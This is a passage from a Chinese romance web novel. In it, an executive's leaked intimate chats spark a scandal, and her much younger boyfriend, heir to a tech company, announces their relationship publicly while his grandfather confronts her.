电话再次挂断后,齐灏深呼吸了一口气,回过头把着甘歆的胳膊,“你今天……要不别去公司了?在家休息一天?” 甘歆疑惑,“怎么了?” “没什么,”齐灏抿了抿嘴,“发生了些意外,我觉得你在家里好一些。” “发生什么事了?” “真——” 甘歆换上了严肃的表情,看着他,“齐灏。” 他最终还是将手机给了甘歆,盯着她的表情变化,她一开始惊讶、逐渐愤怒,最后直接笑了出来,不可思议道:“这什么?” 齐灏紧皱着眉不说话,整张脸冷到了冰点。 新闻的标题这么刺眼——欲壑难填!某上市公司新任VP沉浸式勾引寰科太子爷! 内容似乎被整理过了,里面张张都是聊天记录截图,语音都被转成了文字,都是一些淫言浪语,媒体还特意将一些语气词“啊”“哈”“别停”“还要”放大加粗,几乎占据了聊天框宽幅的一半,下面的描述性文字已经显得苍白,光是这些词就足够辣眼。 可疑的是,齐灏给她发过的所有照片都没有出现在新闻里,仿佛已经被人处理过了一样,只能从单方面看到甘歆的内容,甚至在当篇新闻下还跟上了一张晟宇办公室的照片,在玻璃上磨砂的logo也显得扎眼。 甘歆打了个激灵,拿着手机的那只手瞬间冰凉,整张脸的血色完全褪去,没有被领口完全遮住的肩颈皮肤上瞬间起了无数个鸡皮疙瘩,她皱了皱眉,欲言又止,紧张、慌乱、愤怒……太 多激烈的情绪蒸腾上来,以至于她一时间都不知道该说什么。 最后她艰难地、颤颤巍巍地开了口,“……我今天,先不去公司了。” 齐灏带着甘歆又回到了屋子里,将她抱在怀里,不断安抚,“好,别担心,我会弄清楚的。” 咬了数次嘴唇后,甘歆又深呼吸了两下,才对着齐灏说:“会给你造成麻烦吗?” 男人的心抽搐了一下,明明新闻上从头到尾就只有标题和对话框的备注出现了他的名字,如果想撇清的话,连声明公告都可以不发一个,直接置之不理就行,所有的有效信息都是针对甘歆的,认识她的人在一瞬间就能认出她的头像,何况还有晟宇的logo做引子。 她却在担心我的麻烦? 齐灏第一次因为觉得甘歆比她大而感到心疼,她好像永远站在他的角度在考虑问题,他几乎想把心里所有的疼爱都给面前的女人,“这件事交给我来处理好吗?” 甘歆也乱了,一下不知道该说什么,手机不在身边,想联系沈确都难,这种见不得人的事,向来无风不起浪,甚至、甚至都不一定需要是真的,只要有这样的负面新闻,对公司来说将会是怎样的损失,“沈确那边……” “我来交代。”齐灏上下抚了抚她的背,“给我一天时间。” 她此刻像风雨飘摇的小船,在舆论的汪洋里不受控制地摆动,她抓紧了齐灏的衣服,慢慢深呼吸来平复情绪,甘歆突然想到自己手机掉落的地方,抖着声儿对齐灏说:“找张然,查查徐君。” “好。” 齐灏慢慢松开了手,低下头想对着甘歆的唇轻轻吻过去,却被她躲开了,只吻到了嘴角,她轻轻叹了口气,抿了个勉强的笑出来,故作轻松地对齐灏说:“没事,我已经做好最坏打算了。” 他的私人手机留给了甘歆,又摸了摸她的脑袋,“乖乖待在家里,我很快回来。” 第63章 第63章我想官宣我们的恋情,你能接…… 门阖上后,甘歆独自在玄关处站了很久,才将穿好的高跟鞋脱掉,换了薄棉拖走进客厅,木然地坐在沙发上,家里明明还有这么多可以上网的设备,但她这会儿什么都不想看。 她知道社媒会写出什么样的东西来,人们总是津津乐道别人的难堪。 手机的密码已经被齐灏删除了,她直接打开了手机,联系人一拉到底,带上齐灏的另一个手机号码,都不足十个,“甘歆”是这几分之一,连他爷爷都不在这个列表里,其中有个小鲸鱼的符号,甘歆没控制住好奇心,点开后发现是一个八位的号码,竟然是座机,她没多想,就把通讯录的应用给退出了。 她坐立不安,到底还是拿出了笔记本电脑打开了网页,幸好之前存的cookies还有效,她登上了许久不用的账号,近乎自虐一般点开了热搜,果不其然…… 不仅仅刚刚新闻上的,许多看起来就仿佛是营销资讯的账号还发布了各种高清截图,甚至还在文字上写了“骚!”“欲女!”之类的字眼,更有甚者,还自制了PDF,她咬着牙下载了一份下来…… 不仅仅是聊天记录,还有无效打码狙击的,她曾经参加过的一些会议、论坛,发言讲话的照片都被贴了进去,只在她的眼睛处打上了虚虚的马赛克,有的甚至只划了一条线就当免责遮挡了。 当然……下面还附上了齐灏的介绍,低调的寰科太子爷,几乎不在媒体面前露面的他,竟然以这种方式登顶了新闻,他的照片更糊,但不难看出是个身高腿长的帅气男人,尤其还用醒目黄底红边字上写出了他们的年龄。 34岁菜梆子欲吸21岁鲜嫩精.气! 优雅老女人保养秘诀揭秘:不耻下做! 老蚌吸新柱?还得是她! 越往下看越不堪,甘歆几欲将电脑合上扔出去,但她又耐着性子看了评论,快速扫览几条高议论帖子,评论几乎一边倒,只说太子爷不长眼,珍馐吃多了偶尔也喜欢吃老咸菜,其他所有的谩骂,都在她自己身上。 即便内心再强大,她也被层出不穷的恶劣说法弄到心塞,但她在庆幸,没有人侮辱齐灏。 差距13岁的恋情拉开帷幕的时候,她就知道,总要接受外界的指指点点,甘歆做过思想准备,但她没想到这一天来得这么汹涌、这么庞大。 她并没有无私地想要自己全部承担,也偶尔会和齐灏讨论起这样的问题,拉拉扯扯这两年,在最后确认关系的时候,也提过这种事可能会发生很多次,但目前为止,每一次误解,齐灏都努力地去解释了,他的态度太积极,几乎没让甘歆感觉到尴尬。 可这种会影响到双方公司股价的程度,连甘歆都很难做抉择。 也只有“切割”能够做到止损。 无论是寰科和晟宇切割,她和晟宇切割,还是……她彻底和他切割。 她应该要联系一下沈确的,至少……甘歆又摇了摇头,说什么呢,说这些事是假的吗,可这些是真的啊! 何况现在知道她和齐灏关系的人都不少了,他们应该也不会怀疑吧,自己用这种“下流”的手段,将这个天之骄子引诱到自己的身边。 不知不觉一上午过去了,手机都没响过。 她有些呼吸不过来,走到窗边开了窗户,随意地往下低头看了看,就看到了个反光,再仔细看,就看到了摄影的长枪短炮,市场工作出身的她,对这种实在太熟悉了。 她呼了一口气,互联网时代真不单纯,都追到家里来了。 甘歆几乎是在家里干等了一天,四点多的时候,齐灏才来了电话,“出公司了,估计要半小时左右。” “……你,别来了,”甘歆发现一天没说话的自己嗓音有些沙哑,“楼下有偷拍的。” “没事,我正好也有事跟你商量。” “事情查出来了吗?” “嗯,”齐灏语气轻松,甘歆知道,他这是在让自己放心,“回来就跟你说。” “……好。” “我一会儿去楼下生鲜超市,你想吃点什么?”齐灏在与她聊家常。 “我……”没什么胃口,这句话到了嘴边转了个弯,“有点想吃烩面,那个宽宽的面,超市里有现成的。” “好啊,巧克力要不要?” 甘歆扯了扯嘴角,勉强地笑了笑,又想到齐灏看不见这个表情,又收了回去,“嗯,要最贵的。” “好,买最贵的。” 挂了电话后有一股不留神的酸意钻进了鼻腔,但很浅,她用力压下去了。 甘歆这才站起身去卧室换了家居服,又去卸了妆,整个人才松弛了些下来,她时不时看看墙上的挂钟,又时不时瞧瞧门口,等得都有些着急了。 就算以往公司的危机公关都能很好地对应,甘歆却不知道要怎么处理今天的事,一点头绪都没有,承不承认、甚至不回应,好像每一个选择都是错的。 在她的耐心即将耗完之时,甘歆听到了门锁的动静。 今天的齐灏没有敲门,是自己开了锁进来的,他真的像一个刚下班的普通男主人一样,将买好带回家的袋子放到地上,熟练地在门口换好拖鞋,最后将手里的钥匙放进玄关柜的抽屉里。 “我回来了,”齐灏走近她,吻了吻她的唇,“我先去下面,吃点东西我们再说。” 甘歆没作声,点了点头,又看了齐灏一眼,这个男人虽然年纪小,但从不放过任何细节,他一定是注意到了自己的唇边没有任何烟火气,才说先去弄吃的 ,午餐她确实……没什么心情。 她拿过了齐灏带回来的袋子,里面的巧克力她没见过,刚想拿一块尝尝,男人的脑袋就从厨房里探了出来,“马上好了,空腹别吃巧克力。” 她的手缩了回来,嘴角勾了勾,他果然知道。 端上来的时候,却不是生鲜超市里的那种速食款,汤面碗上铺着一层满满的浇头。 白衬衣的袖口被卷到了手肘,露出了他精壮有力的手臂,身上还穿着家里的偏粉色围裙,齐灏递筷子汤匙给她的时候,甘歆还是有些愣住了。 看了一下午寰科太子爷的报道,当这个男人真正站在自己面前,给自己做这些家常的时候,她突然有种不真实的感觉。 “快吃,愣什么呢,”齐灏对着甘歆笑,“吃完了再吃巧克力,洒了金粉的,非——常贵,包您满意。” 甘歆扒拉了两下面碗,敌不过溢出的香气,吃了几口,她眼睛睁了睁,对着齐灏说:“好好吃啊?你怎么弄的?” “……浇头,现买的,面也是买的生的回来下的。” “去烩面店了?” 齐灏没有回答她的问题,避重就轻答道:“快吃吧。” “还有干豆腐丝和粉丝?”她用筷子上下翻腾了一下,“木耳丝、鸡毛菜……炖牛肉……真的好好吃啊。” 大半碗面下了肚,甘歆也没去催齐灏,等到厨房洗碗的水声停了,她才往厨房门口看,仿佛在等他的宣判。 男人没有立刻坐到她的身边,而是拿了一块巧克力,放到了她的手心,下巴扬了扬,“试试?” 甘歆打开了包装锡纸,真的是一块金灿灿的巧克力,她有些哭笑不得,“吃金子不会拉肚子吗?” “不会,我试吃过了。” 等香浓的巧克力在口中融化,齐灏才将她的手握了过来,“其实……事情很简单,洲海有人在小范围放贷,做了个套把徐君套进去了……” “啊?”甘歆没想到竟然是这样,“唐满不知道?” 齐灏摇了摇头,“昨天是最后还款期,你走了之后有人上门催债了,逼着还钱,看到了张然在晟宇的工牌,就逼张然还钱。” 甘歆一把抓过了齐灏的手臂,“她怎么样,没事吧?” “徐君就把你的手机给对方了,说能找你要钱,张然去抢没抢回来,还摔了一跤,骨折了在医院。那个人想等舆论发酵一点点了来敲诈一笔大的,但没想到一下爆了,自己也慌了,就开始装傻。”齐灏的眼睛里少有地露出了危险。 “我之前不是删过你一次吗,怎么还会有聊天记录?” “通过技术手段恢复了,”齐灏有些懊恼,也带着些抱歉,“洲海的人对寰科都熟悉,那个人在做这件事的时候,刻意把我隐去了……对不起。” “你对不起什么……” “没能在遇到这种事的时候,站在你身边。” “光荣榜吗你也想上?”甘歆气笑了都,“后来怎么处理?” “人和新闻都不用处理,交给唐满就好,她做这种事更彻底,”齐灏玩着甘歆的手指,“就是……名誉受损这个事,不太好弄。” 到底还是来了,甘歆心里一凉,咽了咽看向齐灏。 她想,无论接下来是希望她自己站出来主动切割,还是被动切割,她都可以接受,毕竟无论如何,她单独一个人,都无法弥补寰科和晟宇的股价。 今天收盘的时候她还特意看了一眼,寰科下降了13%,晟宇直接跌停了。 已经到了要给齐灏打私人电话的地步了。 甘歆下意识地攥紧了手心,无论什么结果,她都—— “我想官宣我们的恋情,你能接受吗?” 平地惊雷,她的五脏六腑好像都被震麻了,体内所有的细胞都停摆了几秒,接着剧烈地沸腾,将渗进身体的所有酸痛都扬了起来,像吃了芥末一样,先是鼻腔,再直接冲脑,她张开嘴,一句话都说不出来。 齐灏的眼神无比认真,“虽然这个契机不太好,但我一直有这个打算。 “我并不是想利用什么,只是单纯地想告诉大家这件事。 “是我先喜欢你,是我迷恋你,那些断章取义的内容,你只是在回应我而已,事实也是如此。 “我想跟你商量的,是这件事。 “你同意吗?” 甘歆眨了眨眼睛,还是没回过神,“寰科……和晟宇的股价……” “晟宇三年融资,每年寰科以7%的比例递增加投,但股权结构不变,”齐灏露了个有些无奈的笑来,“沈确已经同意了。” “寰科……” “寰科是我的事,”齐灏似乎比她还要紧张,整个人都往她这里挪了挪,“现在只等你点头。” 她看向齐灏,还没缓过来劲。 手被握住了,好紧,也好暖。 面前的人好像都有点急了,“甘歆,你愿意吗?” 第64章 第64章阿歆,你想和他走到那步吗?…… “你……”明明该问他值不值得,或者问问他想清楚了没,可甘歆有些乱了,连说出的话都不受控制,“你是不是恋爱脑啊?” 这是她第一次看见齐灏翻白眼。 眼睛这么好看,睫毛这么长,竟然用来翻白眼?甘歆自知说的话不合适,清了清嗓子,又去抓着男人的小臂找补,“我不是——” “是,”齐灏这次下巴都抬高了,左边眉毛往上一挑,是二十来岁才会有的有恃无恐的模样,“对着你,我是恋爱脑。” 应该笑出来的,可她的鼻子好酸。 甘歆并非生长在权贵圈子里,从小只是一个带点小聪明的平凡女孩儿,即使职位越做越高,她依旧知道自己的水平线在哪里,就好像她对理财始终保守,即使银行利率再低也会相信定期存单,她会买奢侈品但数量绝对不多,也不铺张,更偏好那些兼具设计感和性价比的东西……连买车租房,都会考虑价格。 她在的只是职场,而涵盖职场的名利场,她也只是见山是山,从未自不量力。 从来没有想过有一天,自己的价值,能和两家上市公司抗衡,甚至超越寰科。 齐灏几乎亲手砸开了她的玻璃天花板,将她供得比天还高。 “我……”甘歆去握齐灏的手掌,上牙咬住了下嘴唇,嘴型有些往下瘪,鼻子太酸了,一定已经有些红了,她对这份感情的自卑、不安彻底爆发了出来,声音都带着哽咽,“不是你最好的选择。” 男人听到这话并不惊讶,而是将她慢慢揽进了怀里,将她的侧脸放到胸口,一下下地抚着她的背,“我没有第二个选择。” 她依旧倔强,瓮声瓮气的,“你还年轻,还有很多机会。” 齐灏深呼吸了一口气,“李大娘也是这么和她老伴说的。” 甘歆抬头,“你……知道?” “我怎么可能不知道,”他又把甘歆抱了回去,“和你有关的,我什么都知道。” 话说得甜,心就软了,可嘴依旧是硬的,“你是控制狂吧?” “……很收敛了,”齐灏吻了吻甘歆的额角,连狠话都泛着温柔,“新闻已经全撤了,所有的账号都在起诉流程中,一个都不会放过。” “官宣……流程是什么?” 齐灏皱了皱眉,曲起手指轻轻在她脑门上叩了一下,“你当营销事件来做呢?” 甘歆讪讪笑了笑,总算拥住了齐灏的腰,整个人都往他身上靠了靠,“我总得知道一下细节,你们年轻人办事不靠谱,会中途换人。” 这是在点他两年前办活动中途脱手的事儿呢,齐灏搂着她笑说:“姐姐的报复心是真强啊。” “嗯,你干的那些破事我也都记着呢。” “没什么流程,”他这才说道,“我会从私人角度发布一则公告,简单说下就完事了。” 甘歆不信,“多简单?” “一两百个字吧。” “大纲说一下。” “好的歆总,”齐灏清了清嗓子,“简单说下追求过程和恋爱现状,最后求放过,就这样。” 甘歆撑着他的胸口抬头看齐灏的眼睛,“不会后悔吗?” “你愿意的话,”男人说得郑重,“是我的荣幸。” 她报之以吻,“齐灏,谢谢你。” 他却说:“对不起,这已经是事后的弥补了,让你慌乱了一天,是我不好。” 齐灏将甘歆的手机送回了她的手上,“手机聊天记录恢复了……可以不删吗?” 甘歆叹了口气,“这 属于意外收获了。” 由于齐灏没有个人社交账号,次日上午10点,他的公告通过寰科的官方媒体发布了出来。 沈确让甘歆再休息一周,等舆论平息了再上班,她同意了。 此刻的她,才打开手机,任由消息铺天盖地而来。 所有的红点她都没有理睬,而是打开了寰科新发布的公告。 “我是齐灏,抱歉占用公司和公共资源。对于近日有关甘歆女士与我的谣言,在此作出澄清,本人钟情甘歆女士许久,终得芳心,目前恋爱状况良好,特此告知,并保留对所有发表不实言论媒体与账号追责的权利。” 一百来个字,没有大家好,也没有谢谢。 齐灏身体力行地表示,他不需要向任何其他人交代。 他的求放过,应该是替对方说的。 甘歆盯着看了很久,直到滚落了一颗热泪,她觉得……好幸福啊。 她抹掉了眼中的晶莹,从一溜未读信息中找到了齐灏的,他并没有给自己留言,依旧停留在上次他们发的信息上,甘歆翻到了很久前的聊天记录,将齐灏曾经发给过自己的“爱心”表情,转发给了他。 很快,齐灏的信息发了回来。 竟然是一张他开会时候的偷拍,应该是双手放在桌面上拍的,也应该拍得很快,有些模糊、也有些虚影,但前置摄像头并没有妨碍他的帅气,他穿着自己带来的淡蓝色衬衣,只解开了最上面的那颗扣子,顺着领口还能看到明显的喉结,他的眼睛并不是盯着手机的,表情淡漠严肃,应该是正在看前方悬下来的屏幕……这么认真的场合,他却将年轻人的调皮对甘歆毫无保留地展露。 甘歆抿了抿嘴唇,嘴角弯了弯,给他发了四个字,便退出了和他的对话框,“好好开会。” 其实有的时候,她也不知道自己这种故作的“成熟”对齐灏来说,会不会是另一种“幼稚”的表现。 沈确的留言从最开始的担心,到后面耀武扬威的嘚瑟,还把寰科对晟宇新的投资方案和她说了下,发了三个鼓掌的表情,甘歆对这个四十来岁的老男人都快无语了,发回了个踢飞的表情给他。 再就是……张然的。 她一直在道歉,没有任何辩解。 甘歆到底心软,草草扫了一遍其他留言后发现没什么需要回的了,悄悄问了周泽张然现在在的医院,便收拾收拾去了。 走进医院大楼,就闻到了一股刺鼻的酒精味,还有烧水房的特殊开水味,甘歆深呼吸了一口,往就在1楼的骨科病房里走去,护士站里问了床号,找到了在走廊尽头的单人病房。 张然半躺在病床上,整个人都苍白,尤其嘴唇,几乎没有一点血色,眼睛也是红肿,明显是哭得狠了。 甘歆轻手轻脚地走到病床边,将买来的小果篮放到沙发前的茶几上,见张然木木的眼神看过来了,对她微微弯了个笑,“然然。” 张然的嘴一下就瘪下去了要哭,忍耐着、吸溜了好几下,才瘪出了个声儿,几乎哑了,“对不起,阿歆,我没拦住,对不起。” 甘歆的眼睛也一酸,走到病床边俯身抱了抱她,“没事了,已经解决了。” “对不起……害你被造谣,说得太难听了,”张然抓住甘歆的衣服,几乎攥得很紧,“对不起。” “不是你的错,”甘歆顺了顺张然的头发,把她直接抱紧了,“你已经很勇敢了,还去抢,脚现在好点了吗?” 张然慢慢分开甘歆,抽泣了几下才说:“没、没事了……动了个小手术,病房和医生都是齐总安排的,真对不起,阿歆。” “徐君呢?”甘歆环顾四周,不见他人。 “他……去派出所了,录口供,”张然有些惭愧,“周助跟我说……让我别担心钱,会解决的,洲海那边说是也启动了内部调查。” 飞来横祸几乎大事化了,甘歆也有些感叹,捏了捏张然的手,“怎么那么傻,都拿走了还要抢回来。” “……不能给你带来麻烦的,你已经帮了我们家很多了,”张然犹豫了一下,眼睛又冒出泪来,“我没有脸面再回去上班了,我会提交辞职流程,也会给沈总写明交代,尽量弥补。” “说什么呢,”甘歆抹了一把她的脸,“现在三个项目了你说要走?是想累死我呀?沈确那边不用担心,他都知道了,已经解决了,你得好好留在我身边帮忙,倒是徐君……我感觉洲海不一定适合他,要不让他暂时在家里休息一阵。” “对不起……阿歆,你的名声……我都不知道要怎么办才好。” 甘歆沉默了几秒,试探着问张然,“如果我跟你说,那些记录都是真的……你怎么想?” 张然睁了睁眼睛,“虽、虽然尺度是有点儿……但这、这也是你们之间的情趣。” 甘歆“噗”地一声笑了出来,捋了捋自己的头发,“好了,别勉强了,是真的,我和齐灏就是那么认识的。” 张然咽了咽,又睁大了眼睛反握住了甘歆的手,“寰科的公告我看见了,阿歆,你会觉得压力大吗?他迄今为止,对你还好吗,这等于是……默认了你们可能会结婚的意思。” 这是甘歆没想到的层次,她以为这只是恋情的官宣,主要用来应对这次她自己的名誉危机。 和齐灏结婚? 甘歆来不及细想,脱口而出,“怎么可能,我们就是谈恋爱而已,他还小,就是互相走一段,等他成熟点了,或者我觉得有什么……” 看着张然的表情,甘歆却说不下去了,她不自然地将脸转向窗户那侧,医院里特有的蓝色窗帘,被夏季的风轻轻扬了起来,每一个褶皱里都有着她的不舍。 她已经不想离开齐灏了。 甘歆皱了皱眉,再次望向张然,“你说他会想得到这层吗?” 张然没有回答,甘歆也没有答案。 齐灏年轻,在工作上从来严丝不苟,他坚守创新,不屑走别人走过的路,更是从来不把守旧的规则放在眼里,也几乎从来不解释,那他知道……这么做,会让人往那方面想吗? 张然捏了捏甘歆的手心,“阿歆,先别管他,你想和他走到那步吗?” 甘歆瞬间抬起了头,话鲠在喉间。 答案已经有了,但她说不出口。 第65章 第65章我孙子怎么样?恋爱的时候。…… 离开医院的时候甘歆整个人都轻飘飘的,上午才堆积起来的幸福感仿佛变成了泡沫,升腾到一定高度,就破裂了,她不敢去猜测齐灏的态度。 甘歆是打车来的,回去的时候站在医院门口却有些茫然,不知不觉地走到了公交车站,正好来了辆公交车,几乎没过脑子,就踏了上去,幸好手机绑定了NFC,刷完卡就随便找了个空位坐了下来。 夏季的特征已经很明显了,路边的树叶都泛出了饱和度很高的绿,地上的阴影也因为强烈的日照颜色变深,带着热气的风从车窗的缝隙吹进来,甘歆努力睁着眼睛看路边倒退的景致,思绪纷飞,但具体说在想什么,她却表达不出来。 不过两三条马路,公交车里传出一阵音乐,竟是到了终点站。 司机师傅见她还没下车,扯了嗓门就喊:“小姑娘,终点站到了!下车了!” “噢……好的,不好意思。” 自己才上车不久,怎么这么快就到终点站了呢。 甘歆下了车才发现,这里是一个公交枢纽,许久不坐公交车的她突然有些茫然,她打开了导航查阅了公交信息,有一辆可以直达家门口的,可她在这找了半天都没找到站牌,问了工作人员才知道,这个枢纽还有另外半边,需要过个天桥再拐…… 她依着对方的描述寻找,再次下去的时候,却发现是地铁口,直到再绕一下,才周到另一边的公交枢纽,已经有些炎热的天气已经将她的汗液惹出来了些,但她却无暇顾及,此刻跟魔怔了似的,一定要找到那辆公交车。 终于在穿过了个走廊后,她找到了,刚往前走几步,那辆车却起步开走了,快跑了两步后发现徒劳,只能眼睁睁地看着公交车开走,电子站牌上写的是下一辆20分钟后才到。 她张了张口,却觉得连深呼吸都困难。 追不上的车,不敢妄想的人。 齐灏现在是喜欢他,说的话动听,做的事动人,以后呢? 自己22岁时说过的话、 做过的事,印象早已模糊了。 13年啊……真的可以改变很多事。 等齐灏到自己这个年纪的时候,她都快过五十大寿了,甘歆笑着呛了一下,竟然呛出了一些酸疼来,她努力将这种情绪压下去,却越压越无望,要一个不守规则的人注重规则的内涵,本来就是强人所难吧。 多年后,齐灏再回想到今天的公告,会不会也只是一笑置之。 那只不过是寰科掌舵人的一段风流佳话罢了,对象还是个不自量力的……老女人。 甘歆有一瞬间的耳鸣。 不知不觉间,她早已付出感情、付出真心,没有人知道,在发现齐灏就是景页的那天晚上,她心里还有隐隐的兴奋和期待,甚至还仗着自己的小聪明有恃无恐,她曾经觉得不过如此,但现在却担心把握不住,明明齐灏的态度更明确了,就连安全感都给得十足,可她还是觉得不够。 她在爱.欲里逐渐贪婪,成为了渴望被爱.抚的花。 花是有花期的,她怎么可能例外。 如果从未接触,从未开始,一切都会简单轻巧,甘歆没想到,或者说,她刻意绕开了这个思路,近乎盲目、冲动地和齐灏开始。 张然的这句提醒,也只不过是早就埋好的雷罢了。 可在公告发布的这天,情绪理应高涨的时刻,甘歆又无法对齐灏坦诚自己的顾虑,比起他的犹豫,甘歆更害怕他冲动,冲动地答应……再在未来后悔。 这个公交枢纽不过离家十几公里,可车程却那么长,似乎会路过每一个经过的岔路,用了近乎一个小时才到站。下车后她又在公交站台坐了一会儿,手机里除了项目组的沟通内容外没有别人联系她,过去忙得脚不沾地,此刻她成了个闲人。 进小区的时候,保安还和她打招呼,问她今天不上班吗,怎么没开车,甘歆只好笑笑说休假了,保安感慨做领导真是好啊,想什么时候休假就什么时候休假,她点了点头便没再回应了。 进楼栋门后,有人叫住了她。 “甘小姐,您好。” 甘歆狐疑地回过了头,看见个穿着体面的中年人,内衬是白衬衣,西服是一套的黑色,花白的头发梳得一丝不苟,连微笑都标准,仿佛刻意训练过一样。 这人的身份不简单,甘歆对他微微点头,“您好,请问您是?” “我是齐董事长的助理周波,不知道甘小姐有没有时间,董事长想邀您一叙。” “董事长?” 周波点了点头,“如果您方便的话,请随我来。” 甘歆脚跟被钉在了地上一样挪不动,盯着这个叫周波的人,仔细看来,和周泽确实有点像,就是法令纹更深了些,没了周泽的腼腆,多了些严肃。 齐董事长,齐灏的……爷爷。 她膝盖突然有些发软,好像一个欺负了别人家的孩子,被对方家长抓了现行的人似的。 “不用紧张,董事长只是想见见您,当然如果您不方便的话,我们也不强求的。” 不见的话,岂不是心里更有鬼,甘歆顺了口气,“麻烦您带路吧。” 周波并没有带甘歆出小区,而是往后绕了一下,直到看见熟悉的迈巴赫停在角落,前车窗是关着的,后车窗放了下来,她看到了齐老爷子的侧脸。 近乎和齐灏一样锋利。 即使头发已然偏白,但依旧身姿挺拔、气质斐然,甘歆总算知道,齐灏如此锐利的鼻梁是遗传谁的了,眼前的人因着岁月的加持,更显王者姿态,就好像蛰伏在山洞中的老狮王,依旧享受着新王和天下的供奉。 周波领甘歆走到另一边车门,并为她打开,不发一言,只做了个请的姿势。 她没有立刻坐进去,还是低头先打了个招呼,“董事长,您好。” 齐老爷子转过头看了甘歆一眼,嘴角礼貌地带了点弧度,点了点头,“你好,甘小姐,请坐吧。” 甘歆咽了咽才坐上去,此刻像个小学生一样,连手都乖乖放在并拢的大腿上。 “阿灏知道吗?” 这话问得没头没尾,甘歆没听懂,“抱歉,董事长,您是指?” “我来找你这件事。” 虽然她确实犹豫过要不要给齐灏打电话,但一方面周波离她不远,另一方面……也隐约觉得,齐老爷子既然能来堵门,那这趟谈话必然是私密的,便也断了联系齐灏的想法。 不过……堵门这个习惯,难道也是遗传吗? “不知道的。” “那你知道我为什么来找你吗?” 甘歆摇了摇头,但心里的猜测已经不下几种了,甩五百万让她离开,或者以名誉权威胁,再或者让她直接出国永远不要见齐灏之类的。 “其实也没什么目的,”齐老爷子微微笑了笑,“我只是想来看看,能够让我孙子再次回家的人什么样。” “再次回家?” “噢,不好意思,我是突然造访,没有准备礼物,”齐老爷子对着窗外不咸不淡地说了一声,“阿波。” 随即周波就从内侧袋里掏出一张支票,上面并没有写任何金额,齐老爷子却从西装口袋里拿出了笔,顺畅地签了字,递到甘歆面前,“小小心意,甘小姐不要嫌弃。” 甘歆立刻拒绝,“董事长,这我不能收。” “见面礼而已,没有任何要求。” 对于打哑谜这种行径,无论对谁,甘歆都会少些耐心,她忍不住说道:“那还不如您提点要求,起码让我知道您想让我做什么。” 老爷子笑了起来,眼睛里却一点笑意都没有,“你觉得我会让你做什么?” “不知道。”她如实说。 “昨天……”老爷子的手指在大腿上敲了敲,“寰科的股价下跌了13%,蒸发掉了78个亿。” 这个数字让她惊恐,好像那敲在齐老爷子大腿上的手指,变成了铁杵,一下怼进了她的心口里,让她发痛发闷,连话都说不出来。 “数目不大,”老爷子依旧松弛,“但寰科很少有6%以上的浮动了,甘小姐很厉害。” 甘歆觉得后背上冒出了冷汗,她在慈善晚宴上见过不少总经理、董事长,但从未感受到只用几句话,就能释放出这般压迫感的。 “很可惜,新闻里只有甘小姐您的片段,”齐老爷子又笑了起来,“我孙子怎么样?恋爱的时候。” “……抱歉。”甘歆都不知道该怎么回答。 “甘小姐这是做什么,我只是关心孙子的爷爷而已,”齐老爷子拈了拈自己的手指,姿态是一直未曾变过的放松,“别紧张。” “他……”甘歆脑子里闪过许多词语,却什么都抓不住,“很好。” 老爷子好像被逗笑了,脸上的轮廓不难看出年轻时的潇洒倜傥,嘴角的弧度说不清是什么情绪,“甘小姐很保守。” 甘歆觉得自己打了个激灵,整个人都拢了些起来。 下一句话也没放过她,“也很大胆,我很欣赏你。” 她实在受不了这种言语下的折磨了,钝刀子割肉一般,但无奈对方的身份,并未显出任何不满来。 “这是我的联系方式,”齐老爷子递了张名片过来,“如果有一天甘小姐需要帮忙,随时联系我。” 甘歆霎时抬起了头,看向齐老爷子,“……什么意思?” “字面意思,甘小姐惠存。” 见甘歆没接,他便用食指和中指夹住了这张名片,插进了甘歆的领口,就在她左边锁骨的下方,还用中指蹭着名片的边缘往下推了推。 坦白说,先前和齐老爷子的对话,甘歆只觉得紧张,并没有觉得不适,但这个动作明显带着些侮辱,她的后牙槽都咬紧了,都想抽出这张名片扔在车里,直接推开门走人。 但实在摸不准齐老爷子的脾性,又碍于他和齐灏的关系。 她忍了下来。 “今天的事,还希望甘小姐可以帮我瞒着阿灏,”齐老爷子又对她笑,礼貌周正,“我也只是希望他能够多回家看看而已。” 甘歆咬了咬口腔内侧的软肉,也扯出了个笑,“好,那没什么事的话,我先离开了。” “打扰了,甘小姐。”他点了点头。 下了车,甘歆并没有遮掩依旧插在领口的名片,也对周波礼貌点头,直到离开他们的视线,才将名片抽出来。 进了家门,甘歆才有些缓过劲来,摸了后脖颈,才发现都是汗。 她坐在沙发上,拿出那张名片看了看。 泛着些珠光的白卡纸上,没有任何公司、抬头,简单到只写了个名字和电话。 不是假简朴,就是真狂放。 齐家人用的名字都大,大到仿佛能装下世界。 齐灏是。 齐赟更是。 第66章 第66章要抱紧他、要相信他。 齐老爷子的出现并没有影响到什么,齐灏现在已经习惯了下班直接到甘歆这里来,衣服也越带越多,甘歆不得不匀出三分之一个柜子给他。 她把齐老爷子的名片藏得很好,就塞在手机壳里,齐灏一直没有发现。 有好几次,甘歆都旁敲侧击地问寰科的状况,齐灏有点意外,过去一点都不不过问的人,怎么突然上了心,还揶揄她是不是终于想通了弃暗投明直接来寰科,甘歆当然拒绝了。 寰科的股价上来了些,虽然没回到过去没跌的水平,但至少恢复了六成。 就是齐灏肉眼可见地更忙了。 加班成了常态,一星期都来不了她这两三次,有的时候甚至直接睡在公司。 但只要甘歆问,他就会温柔地说没事,然后当天早点来,虽然都会随身带着笔记本,接着又在书房工作到很晚,往往上床的时候,就已经凌晨了。 她不知道……齐灏和齐老爷子达成了什么协议。 但确实,没有见过齐灏这么努力工作。她无数次想开口,都被齐老爷子的最后一句堵住了,她问不出口,她不应该知道原因的,但她心疼齐灏。 他忙了一整个六月,七月盛夏终于到来。 北泽村拆迁的施工队已经进场,张然也顺利升为了市场副总监,甘歆将北泽村的相关事宜基本都交给了她,这是张然站稳脚跟的好机会。 沈确又提了两名VP,一个是做采购的,另一个则是做产品的,VP的办公室从楼下搬到了楼上,也因此,甘歆正式免去了市场总监的职位,但市场部仍然是直接向她汇报。 HRD有在中层会议上讨论过需不需要另挖人来,甘歆看得明白,空着的位置就是肥缺,谁都想塞自己人进来,但被沈确一票否决了,她很感激。 至少在北泽这个项目完成前,她会坚持让张然主理。 徐君当了全职奶爸,洲海那边的调查结束,退还了他部分费用,但银行的借贷始终存在,甘歆原想零息借张然三十万,没想到他们夫妇俩打算抵押房产,接着再慢慢还款。 张然单独请甘歆吃了顿饭,她说想过离婚,可有了孩子打断骨头连着筋,没办法做完全切割,徐君也愿意改,她愿意再给他个机会。 她就着这个决定问甘歆意见,甘歆答不上来,她以前可以果断地说“只要你觉得自己合适就行”,把自己从场景里摘得干干净净,可自己这会儿也在局里,她也看不清。 